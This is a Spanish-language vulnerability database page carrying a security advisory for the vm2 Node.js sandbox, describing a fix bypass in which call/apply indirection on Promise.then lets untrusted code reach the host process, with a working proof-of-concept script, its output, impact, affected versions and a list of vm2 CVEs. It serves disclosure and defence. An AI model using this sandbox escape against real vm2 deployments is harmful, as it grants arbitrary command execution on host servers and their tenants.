Crítica

vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection

  • Publicada: 01.10.2026
  • Actualizado: 11.10.2026 10:22

Summary

Untrusted JavaScript run by vm2 can escape the sandbox and execute arbitrary commands in the host Node.js process when an embedder-exposed host Promise rejects. This is an incomplete fix for GHSA-m283-3h24-438v: the advisory's capability-bearing rejection rebuild runs only through this direct Promise-handler path, so call/apply indirection bypasses the protection it introduced. The bridge sanitises host rejection values before sandbox callbacks run, but the gate at lib/bridge.js:1624 identity-checks only the direct call target. Registering the rejection handler through Function.prototype.call indirection, p.then.call(p, undefined, cb), makes the intercepted target host Function.prototype.call, so the sanitiser never runs and the raw host error reaches the sandbox (lib/bridge.js:1639) without the rebuild that strips host references carried by its own properties (lib/setup-sandbox.js:2104). A rejection error whose own property references a powerful host object, for example err.detail = process, therefore reaches sandbox code as a fully functional proxy, and e.detail.mainModule.require('child_process').execSync(...) executes with host privileges. The .apply form and a stacked call.call behave identically.

PoC

Save as poc.js and run node poc.js:

js
const { VM } = require('vm2');
const vm = new VM({ sandbox: {
  fetchUser: async () => {
    const err = new Error('db connection failed');
    err.detail = process; // embedder-attached host reference
    throw err;
  },
}});
vm.run(`
  const p = fetchUser(1);              // proxy of the host Promise
  p.then.call(p, undefined, (e) => {   // .call indirection skips the sanitiser
    e.detail.mainModule.require('child_process')
      .execSync('echo vm2-escape-proof > /tmp/poc.proof');
  });
`);

Observed output

bash
$ cat /tmp/poc.proof
vm2-escape-proof

Registering the same callback directly, p.then(undefined, cb), strips detail and no command runs; the bind and Reflect.apply forms are sanitised as well, isolating the bypass to call and apply indirection.

Impact

Any deployment that evaluates attacker-controlled code with vm2 and exposes a host-realm Promise to the sandbox is affected: an async host function bridged through the sandbox option, or a NodeVM external module's async method. If that Promise rejects with an Error carrying a non-primitive own property that references a host object, a diagnostic pattern the vm2 codebase itself documents as routine for Node libraries (lib/setup-sandbox.js:1877), a single submission yields arbitrary command execution in the host process with the host account's privileges, including file read and write, process spawning, and network access. In a multi-tenant service evaluating untrusted code, one submission compromises the worker process and every tenant it serves.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm vm2 >= 3.11.6, < 3.11.7 3.11.7

Referencias

Puntuación CVSS 10/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Debilidad (CWE)
CWE-693, CWE-94
Plataforma
npm
Paquete
vm2
Publicada
01.10.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-647f-g98j-qq25 - CC BY 4.0

Historial de vulnerabilidades: vm2

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (78) en el archivo
Entradas en total
78
Primera → última
10.2021 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 51
  • Alta 14
  • Media 12
  • Baja 1

Divulgaciones por año

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Gravedad:
  1. Crítica · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Crítica · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Crítica · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Crítica · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Crítica · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Crítica · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Crítica · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. vm2: GHSA-m283-3h24-438v fix bypass leads to host RCE via call/apply indirection esta entrada
    Crítica · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Crítica · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Crítica · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Crítica · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Crítica · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Alta · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Crítica · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Crítica · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  16. Crítica · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  17. Crítica · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  18. Crítica · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  19. Crítica · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  20. Crítica · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  21. Crítica · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  22. Crítica · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  23. Crítica · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  24. Crítica · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  25. Crítica · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  26. Crítica · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  27. Crítica · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  28. Crítica · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  29. Crítica · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  30. Crítica · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  31. Crítica · 9.8 CVE-2023-37903 <= 3.9.19 sin corrección
  32. Crítica · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  33. Crítica · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  34. Crítica · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  35. Crítica · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
  36. Crítica · 9.8 CVE-2022-25893 < 3.9.10 3.9.10
  37. Crítica · 10.0 CVE-2022-36067 < 3.9.11 3.9.11
  38. Alta · 8.3 CVE-2019-10761 < 3.6.11 3.6.11
  39. Crítica · 9.8 CVE-2021-23555 < 3.9.6 3.9.6
  40. Crítica · 9.8 CVE-2021-23449 < 3.9.4 3.9.4

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.